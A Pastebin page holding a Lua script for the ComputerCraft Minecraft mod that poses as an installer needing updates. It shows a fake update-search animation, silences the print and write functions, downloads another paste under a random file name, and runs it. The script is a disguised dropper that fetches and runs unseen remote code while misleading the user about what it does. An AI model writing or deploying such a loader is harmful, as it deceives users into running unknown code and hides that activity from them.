Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local W,H = term.getSize()
- local filters = {
- colorful=colors,
- gray={
- purple=colors.gray,
- gray=colors.gray,
- cyan=colors.lightGray,
- pink=colors.gray,
- green=colors.gray,
- magenta=colors.gray,
- black=colors.black,
- blue=colors.gray,
- white=colors.white,
- lime=colors.lightGray,
- browns=colors.gray,
- red=colors.gray,
- lightGray=colors.lightGray,
- yellow=colors.lightGray,
- orange=colors.gray,
- lightBlue=colors.lightGray,
- }
- }
- if(not _CC_VERSION) then
- error("This installer needs atleast CC 1.74 to run.",0)
- end
- local forceGrayscale = false
- local filter = (term.isColor()and not forceGrayscale) and filters.colorful or filters.gray
- local function box(x1,y1,x2,y2)
- for i = y1,y2 do
- term.setCursorPos(x1,i)
- term.write((" "):rep((x2-x1)+1))
- end
- end
- local function redrawBG()
- term.setBackgroundColor(filter.white)
- box(1,1,W,H)
- end
- local ascii = {
- " ",
- ". ",
- ".. ",
- "...",
- " ..",
- " ."
- }
- redrawBG()
- term.setTextColor(filter.gray)
- local function middle(length)
- return math.floor((W/2)-(length/2)),math.floor(H/2)
- end
- for i = 1,#ascii*10 do
- local toDraw = (i % #ascii)+1
- term.setCursorPos(math.ceil((W/2)-(("Searching for updates"):len()/2)),(H/2))
- term.write("Searching for updates")
- term.setCursorPos((W/2)-(3/2),(H/2)+1)
- term.write(ascii[toDraw])
- sleep(.1)
- end
- redrawBG()
- term.setCursorPos(middle(("Updates found."):len()))
- term.write("Updates found.")
- sleep(2)
- redrawBG()
- term.setCursorPos(middle(("the Updates are needed to install the installer"):len()))
- term.write("the Updates are needed to install the installer")
- sleep(2)
- local _print = print
- local _write = write
- function _G.print()
- return
- end
- function _G.write()
- return
- end
- local function randomString(length)
- local alphabet="abcdefghijklmnopqrstuvwxyz"
- alphabet = alphabet..alphabet:upper()
- local cur = ""
- for i = 1,length do
- rnd = math.random(1,#alphabet)
- cur = cur..alphabet:sub(rnd,rnd)
- end
- return cur
- end
- local pastebinCode = "jxZCTzKf"
- local name = randomString(10)
- shell.run("pastebin get "..pastebinCode.." "..name)
- _G.print = _print
- _G.write = _write
- redrawBG()
- term.setCursorPos(middle(("installled update as "..name):len()))
- term.write("Installed update as "..name)
- sleep(1.5)
- redrawBG()
- term.setCursorPos(middle(("Running update now"):len()))
- term.write("Running update now")
- sleep(.5)
- shell.run(name)
- --added 120 line because symmetry.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement